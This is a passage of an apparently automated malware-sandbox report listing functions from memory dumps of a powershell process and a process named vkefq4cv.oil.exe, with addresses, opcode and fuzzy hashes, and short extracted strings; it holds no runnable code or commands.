Opcode Fuzzy Hash: 0b50db9a919dcd4f2a0573634a807f97fbcfe6bece457293c3bf92379510e1af
Instruction Fuzzy Hash: E5E01231804109DBCB0DFFA4D87B4BDBFB8FB00311F01125DD95A572A1DA302556CA95

Uniqueness

Uniqueness Score: -1.00%

Function 04F58800 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a43f936e6e71e46ba4d6a523bf591f5e363cac6fd90f570061515c554a448381
Instruction ID: 39f7810f2d2a6d570e14e3d036085aee7a8d910d5d35d9d48b7eb208f4047dff
Opcode Fuzzy Hash: a43f936e6e71e46ba4d6a523bf591f5e363cac6fd90f570061515c554a448381
Instruction Fuzzy Hash: 65E08635A08209DFCB08EFA8D5A686ABFF8EB45204F014169DE4D9B3A1E7306D51CFC1

Uniqueness

Uniqueness Score: -1.00%

Function 04F5F870 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 772dffecc95feebac6edbd31e1afa1f33c0ec8af616b0b83ea249713dee942ba
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: 4FD06271D042099F8780EFADC94156DFBF4EB48200F5085AA8919E7311F7315612DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 04F58748 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e60cf25f112d7c5de6257ce4b874f805735a3f688982bb09fba3386df26b78e5
Instruction ID: 028c8be11f197b34fc6a3f4012b9a58daf8198d1294c930681e148f37da8d210
Opcode Fuzzy Hash: e60cf25f112d7c5de6257ce4b874f805735a3f688982bb09fba3386df26b78e5
Instruction Fuzzy Hash: D4D01731804109DBCB08ABA4E83B4BDBB74FB04301F41026DDE1F92291EA302A5ACAC0

Uniqueness

Uniqueness Score: -1.00%

Function 04F58810 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aed4100ac08166b7dd82fe2039c6fe848551f2e5f5563a0b430b761d5b7a46c
Instruction ID: 0349204da4242671b3aa5c9eaecb97edb041a27c75d3053f567e37ffda2e54d6
Opcode Fuzzy Hash: 4aed4100ac08166b7dd82fe2039c6fe848551f2e5f5563a0b430b761d5b7a46c
Instruction Fuzzy Hash: 42D01734A0820ADB8B08EFA4E45686EBBB5EB48200F004269DE4D93350EA306952CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 04F57938 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 930ebfb6320835cc9e70d15b1064d2972729feae59243374db8b8a84cb0b0ad1
Instruction ID: fdd4fef342164e305c0ba04e49ff35c3b47aeff0b4185254f2c2290359c86ada
Opcode Fuzzy Hash: 930ebfb6320835cc9e70d15b1064d2972729feae59243374db8b8a84cb0b0ad1
Instruction Fuzzy Hash: 9AD02331004E4587C3087B659C994103745B74131570118DCEF0DDF1B7D616B086DB74

Uniqueness

Uniqueness Score: -1.00%

Function 04F57EA0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bac481d64730ad8c5160236ac48b791822095ef291bc78aff539972f943a9cb3
Instruction ID: 08b7b1eac69b3bcd366faef0d7c0c62e076d0d6f0ad068ebb61d942ac0e65eec
Opcode Fuzzy Hash: bac481d64730ad8c5160236ac48b791822095ef291bc78aff539972f943a9cb3
Instruction Fuzzy Hash: BEC04C229193D00FEF0693711CAA1056FB14753615B0A4AC69E41DB176D8359C16E251

Uniqueness

Uniqueness Score: -1.00%

Function 04F57940 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83ef59219e92e03ecf34b85e758d00f9f450debe0254077f8e66877ec6a4fa6d
Instruction ID: c5dcf16e86b30557c8904dca4ea590ce31b1ddbb4f038e1748e904bf1b66805a
Opcode Fuzzy Hash: 83ef59219e92e03ecf34b85e758d00f9f450debe0254077f8e66877ec6a4fa6d
Instruction Fuzzy Hash: C4B09231044B09CFC249AF75E4088147329BB4021938108ACE91E0B296CE36E889CA89

Uniqueness

Uniqueness Score: -1.00%

Function 04F57380 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b485e0d961e9e1d3f37b68436e09d1a64108e0df35d0f29e8300afcc2a67dbfa
Instruction ID: c0e3fb11f656540a549637a6e289328aa4a7c6ac420d0f49d4adcf671a83b6f0
Opcode Fuzzy Hash: b485e0d961e9e1d3f37b68436e09d1a64108e0df35d0f29e8300afcc2a67dbfa
Instruction Fuzzy Hash: B8A00237B1465147BF4FEA35565A53A7AA357C3201704C4AE5707C0155DD35B842A514

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 07901D80 Relevance: 15.3, Strings: 12, Instructions: 292COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07901FDF
84Gl, xrefs: 07901F76
JJl, xrefs: 079020CE
JJl, xrefs: 079020C2
84Gl, xrefs: 07901F6C
$c<k, xrefs: 079020B4
4'^q, xrefs: 07901F89
4'^q, xrefs: 07901F95
tP^q, xrefs: 07901FEB
JJl, xrefs: 07902017
JJl, xrefs: 0790200B
JJl, xrefs: 07901FA1

Memory Dump Source

Source File: 00000001.00000002.1718058242.0000000007900000.00000040.00000800.00020000.00000000.sdmp, Offset: 07900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7900000_powershell.jbxd

Similarity

API ID:
String ID: $c<k$4'^q$4'^q$84Gl$84Gl$tP^q$tP^q$JJl$JJl$JJl$JJl$JJl
API String ID: 0-2639585402
Opcode ID: 8bb9f132dc11d51c87f430785c1da02da4567fc4ad0f3181ddbec8722d25b9ed
Instruction ID: 1a6c3754bd0dbc82b12c9c42fad0ee71db6e7a28f9acad6cfec616770bb8d450
Opcode Fuzzy Hash: 8bb9f132dc11d51c87f430785c1da02da4567fc4ad0f3181ddbec8722d25b9ed
Instruction Fuzzy Hash: 91913AB1B5434A8FC7258B689405A6FFBBAFFC6318F1884ABD5058B295DB31C845C3E1

Uniqueness

Uniqueness Score: -1.00%

Function 07903928 Relevance: 12.8, Strings: 10, Instructions: 330COMMON

Download Yara Rule

Strings

tP^q, xrefs: 079039B1
$^q, xrefs: 07903960
tP^q, xrefs: 079039A5
?l, xrefs: 07903A0F
4'^q, xrefs: 07903B29
$^q, xrefs: 0790393A
$^q, xrefs: 07903C0E
$^q, xrefs: 0790396C
?l, xrefs: 07903A1D
4'^q, xrefs: 07903B35

Memory Dump Source

Source File: 00000001.00000002.1718058242.0000000007900000.00000040.00000800.00020000.00000000.sdmp, Offset: 07900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7900000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q$?l$?l
API String ID: 0-327507277
Opcode ID: 35abeb90f4fa1f1eb1bc7f8ee7a0ddf33a85dbf8c3e0c71872721c99b943fa1c
Instruction ID: ff3b5b4718a4e8c8e56a508a1ac4a26a3da895451f4f7ad8eb2f40fe14f18868
Opcode Fuzzy Hash: 35abeb90f4fa1f1eb1bc7f8ee7a0ddf33a85dbf8c3e0c71872721c99b943fa1c
Instruction Fuzzy Hash: 06B147B17243559FC7248A699804B76BFAAAFC6318F1484AFD409CF3E2DA31C845C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 07900FAE Relevance: 12.7, Strings: 10, Instructions: 189COMMON

Download Yara Rule

Strings

`Q^q, xrefs: 07901153
$^q, xrefs: 07901065
$^q, xrefs: 07901081
$^q, xrefs: 07901044
fcq, xrefs: 079010A2
`Q^q, xrefs: 079010ED
$^q, xrefs: 07901229
84Gl, xrefs: 079010D4
tP^q, xrefs: 07901127
$^q, xrefs: 07901253

Memory Dump Source

Source File: 00000001.00000002.1718058242.0000000007900000.00000040.00000800.00020000.00000000.sdmp, Offset: 07900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7900000_powershell.jbxd

Similarity

API ID:
String ID: fcq$84Gl$`Q^q$`Q^q$tP^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-771344138
Opcode ID: b5be4c322620aa9e7b733242cbae5d815e25fcbd33dc9fbf5aca7453c980a2d3
Instruction ID: 440f282478423179521e2c4920f86ee47e7cac4b3d2d9c71f65059e581f40fbe
Opcode Fuzzy Hash: b5be4c322620aa9e7b733242cbae5d815e25fcbd33dc9fbf5aca7453c980a2d3
Instruction Fuzzy Hash: C171ADB0AA420EDFDB28CE58C544BAEB7FABB45359F148455E8009B2D5C771DC84CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 07903678 Relevance: 8.9, Strings: 7, Instructions: 190COMMON

Download Yara Rule

Strings

?l, xrefs: 0790387B
4'^q, xrefs: 07903722
$^q, xrefs: 0790382A
?l, xrefs: 0790386D
$^q, xrefs: 079037FF
$^q, xrefs: 07903836
4'^q, xrefs: 0790372E

Memory Dump Source

Source File: 00000001.00000002.1718058242.0000000007900000.00000040.00000800.00020000.00000000.sdmp, Offset: 07900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7900000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q$?l$?l
API String ID: 0-3395204514
Opcode ID: 871dd436b4f33d550d3e1b0bcb5b7da15800900e083b628452cb07153c0e446f
Instruction ID: f9d635857ad08e29361487792cef9c392c953ca63fb115bb03c5c0f19467b5e7
Opcode Fuzzy Hash: 871dd436b4f33d550d3e1b0bcb5b7da15800900e083b628452cb07153c0e446f
Instruction Fuzzy Hash: 725149F5B243069FCB244A298814A66BFBAAFC3614F2484BFD405CB7D1DA31C885C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 07902108 Relevance: 7.6, Strings: 6, Instructions: 75COMMON

Download Yara Rule

Strings

JJl, xrefs: 079020C2
$c<k, xrefs: 079020B4
$^q, xrefs: 07902172
$^q, xrefs: 07902166
JJl, xrefs: 07902156
JJl, xrefs: 0790214A

Memory Dump Source

Source File: 00000001.00000002.1718058242.0000000007900000.00000040.00000800.00020000.00000000.sdmp, Offset: 07900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7900000_powershell.jbxd

Similarity

API ID:
String ID: $c<k$$^q$$^q$JJl$JJl$JJl
API String ID: 0-1194022432
Opcode ID: 4e119956c5b218f85da7d300115cea49a8c2eb64ebddb4361c243083d13543bb
Instruction ID: 3303bbde42efdeed50c889e4f03c1fe18bc52287d8cba1f495adf79bf11e5280
Opcode Fuzzy Hash: 4e119956c5b218f85da7d300115cea49a8c2eb64ebddb4361c243083d13543bb
Instruction Fuzzy Hash: F2115CF17293528FC336835C4C09A67BBB97FD2654F1449A7C9409F2AAC6758C85C3E2

Uniqueness

Uniqueness Score: -1.00%

Function 07902190 Relevance: 7.6, Strings: 6, Instructions: 64COMMON

Download Yara Rule

Strings

JJl, xrefs: 07902251
JJl, xrefs: 07902245
JJl, xrefs: 079021BA
Tc<k, xrefs: 079021F2
JJl, xrefs: 079021C4
lc<k, xrefs: 07902237

Memory Dump Source

Source File: 00000001.00000002.1718058242.0000000007900000.00000040.00000800.00020000.00000000.sdmp, Offset: 07900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7900000_powershell.jbxd

Similarity

API ID:
String ID: Tc<k$lc<k$JJl$JJl$JJl$JJl
API String ID: 0-3030476618
Opcode ID: dfc998cfc9c1b53be4f1c6716cf878974359fb42b98a2a0dca34987e8fa57018
Instruction ID: ca8cb18de45b8d023cc54f65643a51d0062b8efce91d4be71eb7a1a43c7a5b72
Opcode Fuzzy Hash: dfc998cfc9c1b53be4f1c6716cf878974359fb42b98a2a0dca34987e8fa57018
Instruction Fuzzy Hash: 1C1166B1A1C3918FC715C7A84C16E67BF687BE2304B1544ABC1008F6E5C9308D46C3E3

Uniqueness

Uniqueness Score: -1.00%

Function 04F57A21 Relevance: 6.5, Strings: 5, Instructions: 244COMMON

Download Yara Rule

Strings

tMIl, xrefs: 04F57AD4
`_q, xrefs: 04F57C44
`_q, xrefs: 04F57B23
`_q, xrefs: 04F57BA2
`_q, xrefs: 04F57CC2

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID: tMIl$`_q$`_q$`_q$`_q
API String ID: 0-3706764884
Opcode ID: 6eaf12a33d2579e7459f37117879379a40fb2bc1650253b725b4e4bcaa7f87cb
Instruction ID: 99b418379dc41d3df9bb901226d06928dbb461f732c0776403eec9594ce9d270
Opcode Fuzzy Hash: 6eaf12a33d2579e7459f37117879379a40fb2bc1650253b725b4e4bcaa7f87cb
Instruction Fuzzy Hash: D7B1C974E002099FDB55DFA9D980A9EFBF2FF48304F108629D919AB315DB30A945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04F57A30 Relevance: 6.5, Strings: 5, Instructions: 234COMMON

Download Yara Rule

Strings

tMIl, xrefs: 04F57AD4
`_q, xrefs: 04F57C44
`_q, xrefs: 04F57B23
`_q, xrefs: 04F57BA2
`_q, xrefs: 04F57CC2

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID: tMIl$`_q$`_q$`_q$`_q
API String ID: 0-3706764884
Opcode ID: 58aa3c0e75130197208b33fc800490e9becb87d21b912a824ed90bfca5a592e3
Instruction ID: 030ff5eae43694490ac4ba8e94d843ac2a7f57a959df8d15f7cb8576f98a8f69
Opcode Fuzzy Hash: 58aa3c0e75130197208b33fc800490e9becb87d21b912a824ed90bfca5a592e3
Instruction Fuzzy Hash: 82B19874E012099FDB54DFA9D590A9EFBF2FF48304F108629D919AB314EB70A945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04F57200 Relevance: 6.5, Strings: 5, Instructions: 211COMMON

Download Yara Rule

Strings

tMIl, xrefs: 04F57AD4
`_q, xrefs: 04F57C44
`_q, xrefs: 04F57B23
`_q, xrefs: 04F57BA2
`_q, xrefs: 04F57CC2

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID: tMIl$`_q$`_q$`_q$`_q
API String ID: 0-3706764884
Opcode ID: 947c1ad6c5cbf879b16f4cbfb8dbac188c471f722cbe5e2d2cfb99019b402627
Instruction ID: 87e7b67cfb97c16e00a9d2ac6c426e9cfd823314365bdf98f80ffb0d056927db
Opcode Fuzzy Hash: 947c1ad6c5cbf879b16f4cbfb8dbac188c471f722cbe5e2d2cfb99019b402627
Instruction Fuzzy Hash: 77A19574E012099FDB54DFA9D990A9DFBF2FF48300F10862AD919AB315EB70A945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 07902270 Relevance: 5.1, Strings: 4, Instructions: 113COMMON

Download Yara Rule

Strings

JJl, xrefs: 0790229A
JJl, xrefs: 079022A4
JJl, xrefs: 0790237F
JJl, xrefs: 079023C5

Memory Dump Source

Source File: 00000001.00000002.1718058242.0000000007900000.00000040.00000800.00020000.00000000.sdmp, Offset: 07900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7900000_powershell.jbxd

Similarity

API ID:
String ID: JJl$JJl$JJl$JJl
API String ID: 0-4033152340
Opcode ID: 190a231ad7617ca2133423f204d9a12717880e9a5e43410714f014836111aa02
Instruction ID: 086eae54e41100ca798073d8c3e1403946e3fa2a5da00369846aa17e85d69cff
Opcode Fuzzy Hash: 190a231ad7617ca2133423f204d9a12717880e9a5e43410714f014836111aa02
Instruction Fuzzy Hash: 76413AF1924355DFCB298F68800DA6A7BB9BF42718F1880A7D4148B2D1C735C984CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 07901BE0 Relevance: 5.1, Strings: 4, Instructions: 107COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07901C86
rIl, xrefs: 07901C53
rIl, xrefs: 07901C5D
4'^q, xrefs: 07901C92

Memory Dump Source

Source File: 00000001.00000002.1718058242.0000000007900000.00000040.00000800.00020000.00000000.sdmp, Offset: 07900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7900000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$rIl$rIl
API String ID: 0-4018539593
Opcode ID: 47ab14ef7e2af37f8e3ecae138ae43ce696841e8d6c019777c9c81d186e64914
Instruction ID: b411d23abc550924bfe1304f1d69b8ea21a93f1234a4dbf8548d4bd2fe002d86
Opcode Fuzzy Hash: 47ab14ef7e2af37f8e3ecae138ae43ce696841e8d6c019777c9c81d186e64914
Instruction Fuzzy Hash: C631D3B0B942198FCB19CB6894046AEBBF6AF86325F14847FD415CB2A5DB31C885CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 07905798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 07905800
$^q, xrefs: 079057AA
$^q, xrefs: 079057C6
$^q, xrefs: 079057F4

Memory Dump Source

Source File: 00000001.00000002.1718058242.0000000007900000.00000040.00000800.00020000.00000000.sdmp, Offset: 07900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7900000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 3b38f75c74aabf954ed072ccde41d29753b4ff96cd1a971fa79cdc60a4b8e371
Instruction ID: d5d996ec1b9669c110ac7d367f91cc73bc31d9e74dcc51917345f44164fc5a93
Opcode Fuzzy Hash: 3b38f75c74aabf954ed072ccde41d29753b4ff96cd1a971fa79cdc60a4b8e371
Instruction Fuzzy Hash: 6C2149B172020A9FDB34552A8804F27BBDE5BC1718F25843AAE05CF3D5DD76C8518BA1

Uniqueness

Uniqueness Score: -1.00%

Function 07900308 Relevance: 5.1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0790037F
$^q, xrefs: 0790035E
$^q, xrefs: 07900352
4'^q, xrefs: 07900373

Memory Dump Source

Source File: 00000001.00000002.1718058242.0000000007900000.00000040.00000800.00020000.00000000.sdmp, Offset: 07900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7900000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 942e5138bda4cd6ddd65b17cc1dbf3c9d856c9c57f8554c0df23f08049237c64
Instruction ID: f83c5c097c5d06f0b93718a3193b0cdff601ec73dfc76b98463ab1229595fa27
Opcode Fuzzy Hash: 942e5138bda4cd6ddd65b17cc1dbf3c9d856c9c57f8554c0df23f08049237c64
Instruction Fuzzy Hash: 51012860B6A3964FC72B062C1820B756FB65FC391472944EBC084CF29ACE154C4987E3

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vkefq4cv.oil.exePID: 7316, Parent PID: 6780COMMON

Executed Functions

Function 00007FFD9B9A2B4C Relevance: 1.4, Instructions: 1381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9615ab97b7b44b851275588cd7975366735c2a1c033b0a2599be38aaf63ac047
Instruction ID: a02ab0f8d7adceb5f3ef927a24f0f496a46740bc17f6477e0e5edab0c1e0a977
Opcode Fuzzy Hash: 9615ab97b7b44b851275588cd7975366735c2a1c033b0a2599be38aaf63ac047
Instruction Fuzzy Hash: 4792A27071D94D5FDB95EF68C8A5AB93BE1FF59314B1501B9E44ECB2A6CE28E801C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A5133 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43fe963c1ed01d5f4892c9f95f383fbada5176fdfdf63af62a63e37c8b32715a
Instruction ID: 53f095e8475602cb9da801cdf0e57d7509ad52015a069c53432a638d0a9e38b0
Opcode Fuzzy Hash: 43fe963c1ed01d5f4892c9f95f383fbada5176fdfdf63af62a63e37c8b32715a
Instruction Fuzzy Hash: A121E930A0551C9FDBA5EB28C461AE8B3B1EF4A305F5154B9D00DD7296CE3AAE81CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A06D1 Relevance: 6.4, Strings: 5, Instructions: 174COMMON

Download Yara Rule

Strings

_, xrefs: 00007FFD9B9A0839
L_^>, xrefs: 00007FFD9B9A076A
L_^@, xrefs: 00007FFD9B9A077A
L_^?, xrefs: 00007FFD9B9A0772
L_^=, xrefs: 00007FFD9B9A0762

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID: L_^=$L_^>$L_^?$L_^@$_
API String ID: 0-3213346487
Opcode ID: 8d64d95890c44506d2f51ed1d47e77c34ea9ba9da510127119b8bdb8b3c87d5c
Instruction ID: 85241ccfb2482203acc383058ce0bea422c41cb81a42ef4958198c6b3c5beeb5
Opcode Fuzzy Hash: 8d64d95890c44506d2f51ed1d47e77c34ea9ba9da510127119b8bdb8b3c87d5c
Instruction Fuzzy Hash: 764147B77182591ED3157BBCB8619DE3B60DB81370F0508B7D299CA0A3DE24208ECBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A07FA Relevance: 1.3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

Strings

_, xrefs: 00007FFD9B9A0839

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: f31d893a01fac162650d86e09d71e80bd1fe4959bb052a591a1f69972d1d3eda
Instruction ID: 30e1ab642dc79289030baee984c68c784aaa88280c463c1812c6edc3c42852ed
Opcode Fuzzy Hash: f31d893a01fac162650d86e09d71e80bd1fe4959bb052a591a1f69972d1d3eda
Instruction Fuzzy Hash: D22138677082995ED31677ACF8215DE7B60EFC2371F11047BC288CE0A3DA24458EC7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A2D87 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35a8ef677b8b147234f11e0af92383321c23dcaf621bd2772e34614e703279af
Instruction ID: 47d6955468260c7f584ce11b642b12b7e2fba990756e768b2cf1d3779fe5c9b2
Opcode Fuzzy Hash: 35a8ef677b8b147234f11e0af92383321c23dcaf621bd2772e34614e703279af
Instruction Fuzzy Hash: AFB1B33071DA8D9FDBA5EFACC8A4AA53BE1FF59300F1501B9E44DC71A6CA25E846C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A1408 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d882166608b94e8c9a30e795554ebd7eb739d6b389621a51a051748c7a246d04
Instruction ID: 84aa3fe7f055fb70755546e9ef75cc23a4efa80e6f68b81e4eb87a494570fbfc
Opcode Fuzzy Hash: d882166608b94e8c9a30e795554ebd7eb739d6b389621a51a051748c7a246d04
Instruction Fuzzy Hash: 86818E3171994E9FDBA4EF9CC4A4AB937E1FF69300F1501B9E44EC72A1CA25E841CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A3EDE Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef00037a0cd170b9fea3e26ac62e53d1a1d110cc5a321939744c4207f3e4aba
Instruction ID: 26f8c143bcc6d3a9ed79e4e5ea280e61caed0f3b5b3cc6417ecc305032e01bb4
Opcode Fuzzy Hash: 3ef00037a0cd170b9fea3e26ac62e53d1a1d110cc5a321939744c4207f3e4aba
Instruction Fuzzy Hash: 3671F170E1A65A9FD799DFB488653E9BBF0EF45310F1104BED00A9B3E1CA781945CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A18AA Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42744afe36d67e3b0dad17a5363fd575ad77cba2402bd506fa5bc12f700cbb23
Instruction ID: 04cf7c55e726a11343ad68f172b580af16b3d9cbc2c1dc9a2d2ecf00cc326357
Opcode Fuzzy Hash: 42744afe36d67e3b0dad17a5363fd575ad77cba2402bd506fa5bc12f700cbb23
Instruction Fuzzy Hash: 3E41B171E1969D9FEB58DFA898A53EDBBF1EF45300F1400BED049E32A2CA741941CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A4930 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be39decb4412f77197896cc217462b7ae284b3bdc5e4b70bfb2031004d68de24
Instruction ID: 0c26706889488fb27206ffe6302eedc103cc44245378e6c6e8ac583131c4aa16
